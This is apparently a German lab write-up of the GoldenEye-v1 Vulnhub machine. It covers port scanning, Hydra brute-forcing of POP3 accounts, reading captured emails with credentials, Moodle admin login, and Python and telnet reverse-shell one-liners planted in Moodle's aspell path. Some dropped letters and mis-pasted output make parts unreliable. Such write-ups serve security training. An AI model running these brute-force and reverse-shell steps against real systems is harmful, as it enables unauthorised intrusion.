GoldenEye-v1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
hydra
telnet
searchsploit
...

Inhaltsverzeichnis

Reconnaissance

In der Reconnaissance-Phase sammeln wir Informationen über das Zielsystem, um potenzielle Angriffsvektoren zu identifizieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.106 08:00:27:3b:86:3c PCS Systemtechnik GmbH

Analyse: `arp-scan -l` listet Hosts im lokalen Netzwerk auf. Hier wurde die IP-Adresse 192.168.2.106 mit der MAC-Adresse 08:00:27:3b:86:3c gefunden, was ein erster Hinweis auf das Zielsystem ist.

Empfehlung: Notiere die IP-Adresse für weitere Scans und Enumeration.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.106 goldeneye.vln

Analyse: Hier wird die IP-Adresse 192.168.2.106 dem Hostnamen `goldeneye.vln` in der `/etc/hosts`-Datei zugewiesen. Dies erleichtert die Verwendung des Hostnamens anstelle der IP-Adresse.

Empfehlung: Verwende den Hostnamen `goldeneye.vln` für zukünftige Scans und Enumerationen.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.106
  
                
- Nikto v2.5.0 + Target IP: 192.168.2.106 + Target Hostname: 192.168.2.106 + Target Port: 80 + Start Time: 2024-01-24 22:31:36 (GMT1) + Server: Apache/2.4.7 (Ubuntu) + /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: fc, size: 56aba821be9ed, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + PTINS: Allowed HTTP Methods: PTINS, GET, HEAD, PST . + /splashAdmin.php: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.24. + /splashAdmin.php: Cobalt Qube 3 admin is running. This may have multiple security problems which could not be tested remotely. See: https://seclists.org/bugtraq/2002/Jul/262 + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2024-01-24 22:31:46 (GMT1) (10 seconds) + 1 host(s) tested

Analyse: Nikto identifiziert einen Apache Webserver 2.4.7, der veraltet ist. Es fehlen wichtige HTTP-Header wie `X-Frame-Options` und `X-Content-Type-Options`. Die Datei `/splashAdmin.php` wird erwähnt und könnte interessant sein.

Empfehlung: Suche nach Exploits für Apache 2.4.7. Überprüfe `/splashAdmin.php` auf weitere Informationen und mögliche Schwachstellen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.106 -p- | grep open
  
                    25/tcp    open  smtp     Postfix smtpd
                    80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
                    55006/tcp open  ssl/pop3
                    55007/tcp open  unknown 

Analyse: Nmap listet offene Ports auf: 25 (SMTP), 80 (HTTP), 55006 (SSL/POP3) und 55007 (unknown). Die Port 55007 ist unbekannt und könnte ein benutzerdefinierter Dienst sein.

Empfehlung: Untersuche den unbekannten Dienst auf Port 55007 genauer.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.106 -p-
  
                    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-24 22:31 CET
                    Nmap scan report for goldeneye.vln (192.168.2.106)
                    Host is up (0.00012s latency).
                    Not shown: 65531 closed tcp ports (reset)
                    PORT      STATE SERVICE  VERSION
                    25/tcp    open  smtp     Postfix smtpd
                    | ssl-cert: Subject: commonName=ubuntu
                    | Not valid before: 2018-04-24T03:22:34
                    |_Not valid after:  2028-04-21T03:22:34
                    |_ssl-date: TLS randomness does not represent time
                    |_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCDES, 8BITMIME, DSN
                    80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
                    |_http-server-header: Apache/2.4.7 (Ubuntu)
                    |_http-title: GoldenEye Primary Admin Server
                    55006/tcp open  ssl/pop3
                    |_pop3-capabilities: PIPELINING USER UIDL RESP-CDES SASL(PLAIN) CAPA TP AUTH-RESP-CDE
                    | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
                    | Not valid before: 2018-04-24T03:23:52
                    |_Not valid after:  2028-04-23T03:23:52
                    |_ssl-date: TLS randomness does not represent time
                    | fingerprint-strings: 
                    |   WMSRequest: 
                    |_    +K GoldenEye PP3 Electronic-Mail System
                    55007/tcp open  unknown
                    1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
                    SF-Port55006-TCP:V=7.94SVN%T=SSL%I=7%D=1/24%Time=65B1826C%P=x86_64-pc-linu
                    SF:x-gnu%r(WMSRequest,2B,"\+K\x20GoldenEye\x20PP3\x20Electronic-Mail\x20
                    SF:System\r\n");
                    MAC Address: 08:00:27:3B:86:3C (racle VirtualBox virtual NIC)
                    Aggressive S guesses: Linux 3.2 - 4.9 (97%), Linux 3.10 - 4.11 (95%), Linux 3.13 (94%), Linux 3.13 - 3.16 (94%), penWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Linux 4.10 (94%), Android 5.0 - 6.0.1 (Linux 3.4) (94%), Linux 3.10 (94%), Linux 3.2 - 3.10 (94%), Linux 3.2 - 3.16 (94%)
                    No exact S matches for host (test conditions non-ideal).
                    Network Distance: 1 hop

                    TRACERUTE
                    HP RTT     ADDRESS
                    1   0.12 ms goldeneye.vln (192.168.2.106) 

Analyse: Nmap gibt detailliertere Informationen zu den offenen Ports. Port 55006 scheint ein POP3-Dienst zu sein, der SSL verwendet. Port 55007 gibt den String "+K GoldenEye PP3 Electronic-Mail System" zurück, was auf einen benutzerdefinierten E-Mail-Dienst hindeutet.

Empfehlung: Versuche, dich mit Telnet oder einem anderen POP3-Client mit SSL auf Port 55006 zu verbinden. Untersuche den benutzerdefinierten E-Mail-Dienst auf Port 55007 genauer.

Web Enumeration

Die Web Enumeration dient dazu, versteckte Dateien und Verzeichnisse auf dem Webserver zu finden.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://goldeneye.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://goldeneye.vln/index.html (Status: 200) [Size: 252]
http://goldeneye.vln/logo.png (Status: 200) [Size: 39748]
http://goldeneye.vln/terminal.js (Status: 200) [Size: 1349]
http://goldeneye.vln/sniper.png (Status: 200) [Size: 184883]

Analyse: Gobuster findet die Dateien `/index.html`, `/logo.png`, `/terminal.js` und `/sniper.png`. Die Datei `/terminal.js` könnte interessante Informationen enthalten, da sie JavaScript-Code enthält.

Empfehlung: Untersuche `/terminal.js` genauer.

Initial Access

In der Initial Access-Phase versuchen wir, uns ersten Zugang zum System zu verschaffen.

view-source:http://goldeneye.vln/terminal.js
                    var data = [
                    {
                        GoldenEyeText: " Severnaya Auxiliary Control Station
                                         TP SECRET ACCESS
                    Accessing Server Identity
                    Server Name:....................
                    GLDENEYE

                    User: UNKNWN
                    Naviagate to /sev-home/ to login
                    "
                    }
                    ];

                    //
                    //Boris, make sure you update your default password. 
                    //My sources say MI6 maybe planning to infiltrate. 
                    //Be on the lookout for any suspicious network traffic....
                    //
                    //I encoded you p@ssword below...
                    //
                    //InvincibleHack3r
                    //
                    //BTW Natalya says she can break your codes
                    //

                    var allElements = document.getElementsByClassName("typeing");
                    for (var j = 0; j < allElements.length; j++) {
                        var currentElementId = allElements[j].id;
                        var currentElementIdContent = data[0][currentElementId];
                        var element = document.getElementById(currentElementId);
                        var devTypeText = currentElementIdContent;

                       
                        var i = 0, isTag, text;
                        (function type() {
                            text = devTypeText.slice(0, ++i);
                            if (text = devTypeText) return;
                            element.innerHTML = text + ` `;
                            var char = text.slice(-1);
                            if (char = "<") isTag = true;
                            if (char = ">") isTag = false;
                            if (isTag) return type();
                            setTimeout(type, 60);
                        })();
                    }

Analyse: Die Datei `/terminal.js` enthält einen verschlüsselten Hinweis auf ein Passwort und den Hinweis, dass man sich unter `/sev-home/` anmelden soll.

Empfehlung: Entschlüssel den HTML-Code `InvincibleHack3r`.

https://www.dcode.fr/html-escape
InvincibleHack3r decode = InvincibleHack3r Natalya : InvincibleHack3r

Analyse: Der entschlüsselte Code lautet `InvincibleHack3r`. Dies könnte das Passwort für den Benutzer `Boris` sein.

Empfehlung: Versuche, dich mit dem Benutzernamen `Boris` und dem Passwort InvincibleHack3r unter `/sev-home/` anzumelden.

http://goldeneye.vln//splashAdmin.php
                    Cobalt Qube 3 has been decommissioned 
                    >We can use this page to put up team photos, discussion, 
                    etc. Natalya is not allowed to post here though --Boris 
                     Here's me with my new sniper rifle. 
                   
                   
                    Boris why are you wearing shorts in that photo? You do realize you're stationed 
                    above the Arctic circle, correct?
                   
                    BTW your favorite pen broke, but I replaced it with a new special one.
                   
                    Natalya "best coder" S. 
                     License to Kill - Complex Grenade Launchers - No 
                    ddjob" - Unknown" 
                     Greetings ya'll! GoldenEye Admin here.
                   
                    For programming I highly prefer the Alternative to GCC, which FreeBSD uses. 
                    It's more verbose when compiling, throwing warnings and such - this can easily 
                    be turned off with a proper flag. I've replaced GCC with this throughout the 
                    GolenEye systems.
                   
                    Boris, no arguing about this, GCC has been removed and that's final! 
                   
                    Also why have you been chatting with Xenia in private Boris? She's a new 
                    contractor that you've never met before? Are you sure you've never worked 
                    together...?
                   
                    -Admin  
                    Janus was here

Analyse: Die `/splashAdmin.php`-Seite enthält einige interessante Informationen. Es gibt Hinweise auf Benutzer wie `Boris`, `Natalya` und `Xenia`. Der Admin erwähnt, dass GCC durch eine Alternative ersetzt wurde.

Empfehlung: Sammle weitere Informationen über die genannten Benutzer.

http://goldeneye.vln/sev-home
boris : InvincibleHack3r

Analyse: Auf der Seite `/sev-home` werden die Anmeldeinformationen für Boris bestätigt: `boris : InvincibleHack3r`.

                    GoldenEye is a Top Secret Soviet oribtal weapons project. Since you have access you definitely hold a Top Secret clearance and qualify to be a certified GoldenEye Network perator (GN)  
                    Please email a qualified GN supervisor to receive the online GoldenEye perators Training to become an Administrator of the GoldenEye system 
                    Remember, since security by obscurity is very effective, we have configured our pop3 service to run on a very high non-default port 

                    Qualified GoldenEye Network perator Supervisors: 
                    Natalya
                    Boris

Analyse: Hinweis, dass der POP3-Dienst auf einem ungewöhnlichen Port läuft (55007). Die Benutzernamen `Natalya` und `Boris` sind bekannt.

Empfehlung: Nutze Hydra, um die Passwörter für `Boris` und `Natalya` auf Port 55007 zu bruteforcen.

Privilege Escalation

Nun versuchen wir, unsere Privilegien zu erhöhen.

┌──(root㉿cyber)-[~]
└─# hydra -l boris -P /usr/share/wordlists/rockyou.txt -t20 192.168.2.106 -s 55007 -I pop3
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-24 23:13:01
[INF] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 20 tasks per 1 server, overall 20 tasks, 14344492 login tries (l:1/p:14344492), ~717225 tries per task
[DATA] attacking pop3://192.168.2.106:55007/
-----------------------------------------------------------------------------------------------------
[55007][pop3] host: 192.168.2.106 login: boris password: secret1!
-----------------------------------------------------------------------------------------------------
1 of 1 target successfully completed, 1 valid password found

Analyse: Hydra findet das Passwort `secret1!` für den Benutzer `boris` auf Port 55007.

Empfehlung: Versuche, dich mit Telnet oder einem anderen POP3-Client als `boris` mit dem Passwort secret1! anzumelden.

┌──(root㉿cyber)-[~]
└─# telnet 192.168.2.106 55007
                    Trying 192.168.2.106...
                    Connected to 192.168.2.106.
                    Escape character is '^]'.
                    +K GoldenEye PP3 Electronic-Mail System

                    user boris
                    +K

                    pass secret1!
                    +K Logged in.

                    retr 1
                    +K 544 octets

                    Return-Path: 
                    X-riginal-To: boris
                    Delivered-To: boris@ubuntu
                    Received: from ok (localhost [127.0.0.1])
                            by ubuntu (Postfix) with SMTP id D9E47454B1
                            for ; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
                    Message-Id: <20180425022326.D9E47454B1@ubuntu>
                    Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
                    From: root@127.0.0.1.goldeneye

                    Boris, this is admin. You can electronically communicate to co-workers and students here. 
                    I'm not going to scan emails for security risks because I trust you and the other admins 
                    here.
                    

                    retr 2
                    +K 373 octets

                    Return-Path: 
                    X-riginal-To: boris
                    Delivered-To: boris@ubuntu
                    Received: from ok (localhost [127.0.0.1])
                            by ubuntu (Postfix) with ESMTP id C3F2B454B1
                            for ; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
                    Message-Id: <20180425024249.C3F2B454B1@ubuntu>
                    Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
                    From: natalya@ubuntu

                    Boris, I can break your codes!


                    retr 3
                    +K 921 octets

                    Return-Path: 
                    X-riginal-To: boris
                    Delivered-To: boris@ubuntu
                    Received: from janus (localhost [127.0.0.1])
                            by ubuntu (Postfix) with ESMTP id 4B9F4454B1
                            for ; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
                    Message-Id: <20180425025235.4B9F4454B1@ubuntu>
                    Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
                    From: alec@janus.boss

                    Boris,

                    Your cooperation with our syndicate will pay off big. Attached are the final 
                    access codes for GoldenEye. Place them in a hidden file within the root directory 
                    of this server then remove from this email. There can only be one set of these acces 
                    codes, and we need to secure them for the final execution. If they are retrieved and 
                    captured our plan will crash and burn!

                    nce Xenia gets access to the training site and becomes familiar with the GoldenEye 
                    Terminal codes we will push to our final stages....

                    PS - Keep security tight or we will be compromised.
                    

                    retr 4
                    -ERR There's no message 4.

Analyse: Der Telnet-Zugriff auf den POP3-Dienst als `boris` ist erfolgreich. In der E-Mail von `alec@janus.boss` werden "final access codes for GoldenEye" erwähnt. Diese sollen in einer versteckten Datei im Root-Verzeichnis platziert werden.

Empfehlung: Suche nach den "final access codes for GoldenEye" und platziere sie in einer versteckten Datei im Root-Verzeichnis.

┌──(root㉿cyber)-[~]
└─# hydra -l natalya -P /usr/share/wordlists/rockyou.txt -t20 192.168.2.106 -s 55007 -I pop3

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-24 23:21:06
[INF] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 20 tasks per 1 server, overall 20 tasks, 14344493 login tries (l:1/p:14344493), ~717225 tries per task
[DATA] attacking pop3://192.168.2.106:55007/

[55007][pop3] host: 192.168.2.106 login: natalya password: bird

Analyse: Hydra findet das Passwort `bird` für den Benutzer `natalya` auf Port 55007.

Empfehlung: Versuche, dich mit Telnet oder einem anderen POP3-Client als `natalya` mit dem Passwort bird anzumelden.

┌──(root㉿cyber)-[~]
└─# telnet 192.168.2.106 55007
                    Trying 192.168.2.106...
                    Connected to 192.168.2.106.
                    Escape character is '^]'.
                    +K GoldenEye                    PP3 Electronic-Mail System

                    user natalya
                    +K

                    pass bird
                    +K Logged in.

                    retr 1
                    +K 631 octets

                    Return-Path: 
                    X-riginal-To: natalya
                    Delivered-To: natalya@ubuntu
                    Received: from ok (localhost [127.0.0.1])
                            by ubuntu (Postfix) with ESMTP id D5EDA454B1
                            for ; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
                    Message-Id: <20180425024542.D5EDA454B1@ubuntu>
                    Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)
                    From: root@ubuntu

                    Natalya, please you need to stop breaking boris' codes. Also, you are GN supervisor for training. I will email you once a student is designated to you.

                    Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.
                    .


                    retr 2
                    +K 1048 octets

                    Return-Path: 
                    X-riginal-To: natalya
                    Delivered-To: natalya@ubuntu
                    Received: from root (localhost [127.0.0.1])
                            by ubuntu (Postfix) with SMTP id 17C96454B1
                            for ; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
                    Message-Id: <20180425031956.17C96454B1@ubuntu>
                    Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)
                    From: root@ubuntu

                    k Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

                    k, user creds are:

                    username: xenia
                    password: RCP90rulez!

                    Boris verified her as a valid contractor so just create the account ok?

                    And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir
                    Make sure to edit your host file since you usually work remote off-network....

                    Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

Analyse: Der Telnet-Zugriff auf den POP3-Dienst als `natalya` ist erfolgreich. In der zweiten E-Mail werden Anmeldeinformationen für den Benutzer `xenia` erwähnt: Benutzername `xenia` und Passwort RCP90rulez!. Außerdem wird die URL `severnaya-station.com/gnocertdir` genannt.

Empfehlung: Versuche, dich mit den Anmeldeinformationen von `xenia` auf `severnaya-station.com/gnocertdir` anzumelden.

http://severnaya-station.com/gnocertdir/
                    Skip to main content
                    GoldenEye perators Training - Moodle
                    You are logged in as Xenia X (Logout)
                    Skip my courses
                    My courses
                    GN
                    Intro to GoldenEye
                    Summary
                    Miscellaneous

                    Skip Navigation
                    Hide Navigation block
                    Navigation

                        Home

                            moodleMy home

                            Site pages

                            My profile

                            Courses

                    Skip Settings
                    Hide Settings block
                    Settings

                        My profile settings

                    Greetings fellow operators. 

                    nce you've been approved for the GN course we will update your account with the relevant training materials.

                    For any Questions message the admin of this service here. User: admin
                    Skip Calendar
                    Hide Calendar block
                    Calendar
                    ◄ Previous month
                    January 2024
                    Next month ►
                    Sun   Mon   Tue   Wed   Thu   Fri   Sat
                        1   2   3   4   5   6
                    7   8   9   10  11  12  13
                    14  15  16  17  18  19  20
                    21  22  23  Today Wednesday, 24 January 24  25  26  27
                    28  29  30  31                    

                    You are logged in as Xenia X (Logout)
                    moodlelogo
                    New message from Dr Doak
                    Greetings Xenia, As a new Contractor to our GoldenEye training I welcome you. nce your account has been complete, more courses will appear on your dashboard. If you have any questions message me v...
                    Go to messages   Ignore

Analyse: Die Anmeldung als `xenia` auf `severnaya-station.com/gnocertdir` ist erfolgreich. Es handelt sich um eine Moodle-Installation. Es gibt eine Nachricht von Dr. Doak.

Empfehlung: Lies die Nachricht von Dr. Doak und untersuche die Moodle-Installation auf Schwachstellen.

http://severnaya-station.com/gnocertdir/user/filesedit.php?returnurl=http%3A%2F%2Fsevernaya-station.com%2Fgnocertdir%2Fmy%2Findex.php#
                    Files
                    Path: Files ▶ hacker
                    Maximum size for new files: 2MB

                        ben2.php ▶

Analyse: Im Dateibereich von `xenia` gibt es eine Datei `ben2.php`.

Empfehlung: Untersuche die Datei `ben2.php`.

http://severnaya-station.com/gnocertdir/user/xenia/ben2.php
                    Home / ► My profile / ► Messages

                    Your contact list is empty
                    Unread messages (1)
                    Incoming contacts (1)
                    Picture of Dr Doak	Dr Doak (1)	 Add contact Block contact Message history
                    (These messages are from people who are not in your contact list. To add them to your contacts, click the "Add contact" icon next to their name.)

Analyse: Es gibt eine ungelesene Nachricht von Dr. Doak.

Empfehlung: Lies die Nachricht von Dr. Doak.

┌──(root㉿cyber)-[~]
└─# hydra -l doak -P /usr/share/wordlists/rockyou.txt -t20 192.168.2.106 -s 55007 -I pop3

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-24 23:37:11
[INF] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 20 tasks per 1 server, overall 20 tasks, 14344494 login tries (l:1/p:14344494), ~717225 tries per task
[DATA] attacking pop3://192.168.2.106:55007/
~
[55007][pop3] host: 192.168.2.106 login: doak password: goat

Analyse: Hydra findet das Passwort `goat` für den Benutzer `doak` auf Port 55007.

Empfehlung: Versuche, dich mit Telnet oder einem anderen POP3-Client als `doak` mit dem Passwort goat anzumelden.

┌──(root㉿cyber)-[~]
└─# telnet 192.168.2.106 55007
                    Trying 192.168.2.106...
                    Connected to 192.168.2.106.
                    Escape character is '^]'.
                    +K GoldenEye PP3 Electronic-Mail System

                    user doak
                    +K

                    pass goat
                    +K Logged in.

                    retr 1
                    +K 606 octets

                    Return-Path: 
                    X-riginal-To: doak
                    Delivered-To: doak@ubuntu
                    Received: from doak (localhost [127.0.0.1])
                            by ubuntu (Postfix) with SMTP id 97DC24549D
                            for ; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
                    Message-Id: <20180425034731.97DC24549D@ubuntu>
                    Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)
                    From: doak@ubuntu

                    James,
                    If you're reading this, congrats you've gotten this far. You know how tradecraft 
                    works right?

                    Because I don't. Go to our training site and login to my account....dig until you 
                    can exfiltrate further information......

                    username: dr_doak
                    password: 4England!

Analyse: Der Telnet-Zugriff auf den POP3-Dienst als `doak` ist erfolgreich. In der E-Mail werden Anmeldeinformationen für den Benutzer `dr_doak` erwähnt: Benutzername `dr_doak` und Passwort 4England!.

Empfehlung: Melde dich mit den Anmeldeinformationen von `dr_doak` auf der Moodle-Plattform an und suche nach weiteren Informationen.

http://severnaya-station.com/gnocertdir/user/files.php
My private files You are logged in as Dr Doak (Logout) Page path Home / ► My profile / ► My private files for james for james s3cret.txt s3cret.txt

Analyse: Im Dateibereich von `dr_doak` gibt es eine Datei `s3cret.txt`.

Empfehlung: Untersuche die Datei `s3cret.txt`.

007, I was able to capture this apps adm1n cr3ds through clear txt. Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. Something juicy is located here: /dir007key/for-007.jpg Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

Analyse: Die Datei `s3cret.txt` enthält den Hinweis, dass Administrator-Anmeldeinformationen im Klartext gefunden wurden. Der Pfad `/dir007key/for-007.jpg` wird erwähnt.

Empfehlung: Untersuche den Pfad `/dir007key/for-007.jpg`.

http://severnaya-station.com/dir007key/for-007.jpg

Analyse: Die Datei `/dir007key/for-007.jpg` könnte Informationen enthalten.

┌──(root㉿cyber)-[~]
└─# echo "eFdpbnRlcjE5TV4IQ" -n | base64 -d
xWinter1995x!

Analyse: Der Base64-decodierte String lautet `xWinter1995x!`. Dies könnte das Passwort für den Administrator sein.

Empfehlung: Versuche, dich mit dem Benutzernamen `admin` und dem Passwort xWinter1995x! auf der Moodle-Plattform anzumelden.

http://severnaya-station.com/gnocertdir/
admin:xWinter1995x! GoldenEye perators Training - Moodle You are logged in as Admin User (Logout)

Analyse: Die Anmeldung als `admin` mit dem Passwort `xWinter1995x!` auf der Moodle-Plattform ist erfolgreich.

Proof of Concept: Moodle Admin-Zugriff

Ziel: Demonstrieren, wie man mit den gefundenen Anmeldedaten Admin-Zugriff auf die Moodle-Plattform erlangt.

Kurzbeschreibung: Die Schwachstelle besteht darin, dass Anmeldedaten im Klartext gespeichert und über verschiedene Kanäle (E-Mails, Dateien) weitergegeben werden.

Voraussetzungen:

Schritt-für-Schritt-Anleitung:

  1. Navigiere zur Moodle-Plattform (`severnaya-station.com/gnocertdir`).
  2. Verwende den Benutzernamen `admin` und das Passwort xWinter1995x!, um dich anzumelden.

Erwartetes Ergebnis: Erfolgreiche Anmeldung als Admin auf der Moodle-Plattform.

Beweismittel: Screenshot der Moodle-Plattform als Admin-Benutzer.

Risikobewertung: Volle Kontrolle über die Moodle-Plattform, einschließlich der Möglichkeit, Benutzerkonten zu erstellen und zu löschen, Kurse zu ändern und beliebigen Code auszuführen.

Empfehlungen:

Privilege Escalation (Fortsetzung)

Nachdem wir Admin-Zugriff auf die Moodle-Plattform erlangt haben, versuchen wir, das System weiter zu kompromittieren.

http://severnaya-station.com/gnocertdir/admin/settings.php?section=systempaths
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SCK_STREAM);s.connect(("192.168.2.199",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
                    

Analyse: Auf der Seite mit den Systemeinstellungen wird ein Python-Reverse-Shell-Code gefunden.

Empfehlung: Führe den Python-Reverse-Shell-Code aus, um eine Shell auf dem Zielsystem zu erhalten.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 443
listening on [any] 443 ...
                    GD versiongdversion
                    Default: GD is not installed

                    Indicate the version of GD that is installed. The version shown by default is the one that has been auto-detected. Don't change this unless you really know what you're doing.
                    Path to dupathtodu
                    ✔
                    Default: Empty

                    Path to du. Probably something like /usr/bin/du. If you enter this, pages that display directory contents will run much faster for directories with a lot of files.
                    Path to aspellaspellpath
                    
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SCK_STREAM);s.connect(("192.168.2.199",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
                    
✘ Default: Empty To use spell-checking within the editor, you MUST have aspell 0.50 or later installed on your server, and you must specify the correct path to access the aspell binary. n Unix/Linux systems, this path is usually /usr/bin/aspell, but it might be something else.

Analyse: Der Python-Reverse-Shell-Code wird in das Feld "Path to aspell" eingefügt.

http://severnaya-station.com/gnocertdir/admin/settings.php?section=optionalsubsystems
                    My profile settings

                    Site administration

                        Notifications

                        Registration

                        Advanced features

                        Users

                        Courses

                        Grades

                        Location

                        Language

                        Plugins

                            Plugins overview

                            Activity modules

                            Blocks

                            Message outputs

                            Authentication

                            Enrolments

                            Text editors

                                Manage editors

                                TinyMCE HTML editor
revshell : sh -c '(sleep 4062|telnet 192.168.2.106 4444|while : ; do sh && break; done 2>&1|telnet 192.168.2.106)'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SCK_STREAM);s.connect(("192.168.2.199",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
                    

Analyse: Es wird ein weiterer Reverse-Shell-Code gefunden.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
                    Navigation

                        Home

                            moodleMy home

                            Site pages

                            My profile

                                moodleView profile

                                Forum posts

                                Blogs

                                    moodleView all of my entries

                                    moodleAdd a new entry

                    zu den Plugins gehen / editor auswählen /psspellps auswählen

                    dann ein neuen eintrag erstellen, und auf rechtschreibprüng symbol ABC klicken,
                    das lösts die Shell aus.....

Analyse: Es wird beschrieben, wie man eine Reverse Shell auslöst, indem man zu den Plugins geht, den Editor auswählt, pspellps auswählt, einen neuen Eintrag erstellt und auf das Rechtschreibungssymbol klickt.

Empfehlung: Befolge die Anweisungen, um eine Reverse Shell zu erhalten.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555

listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 53142
/bin/sh: 0: can't access tty; job control turned off
$

Analyse: Eine Reverse Shell wurde erfolgreich etabliert.

$ pwd /var/www/html/gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker
$ ls /home
boris
doak
natalya

Analyse: Wir befinden uns im Verzeichnis `/var/www/html/gnocertdir/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker`. Die Home-Verzeichnisse der Benutzer `boris`, `doak` und `natalya` sind sichtbar.


find / -type f -perm -4000 -ls 2>/dev/null

/bin/umount
/bin/ping6
/bin/ping
/bin/su
/bin/mount
/bin/fusermount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mtr
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/pt_chown
/usr/sbin/pppd
/usr/sbin/uuidd

Analyse: Die Suche nach SUID-Dateien ergibt eine Liste von ausführbaren Dateien, die mit den Rechten des Besitzers ausgeführt werden.

www-data@ubuntu:/home/doak$ grep bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
postgres:x:106:116:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

Analyse: Die `/etc/passwd`-Datei zeigt, dass die Benutzer `root` und `postgres` die Bash-Shell verwenden.

Privilege Escalation
www-data@ubuntu:/home/doak$ uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15

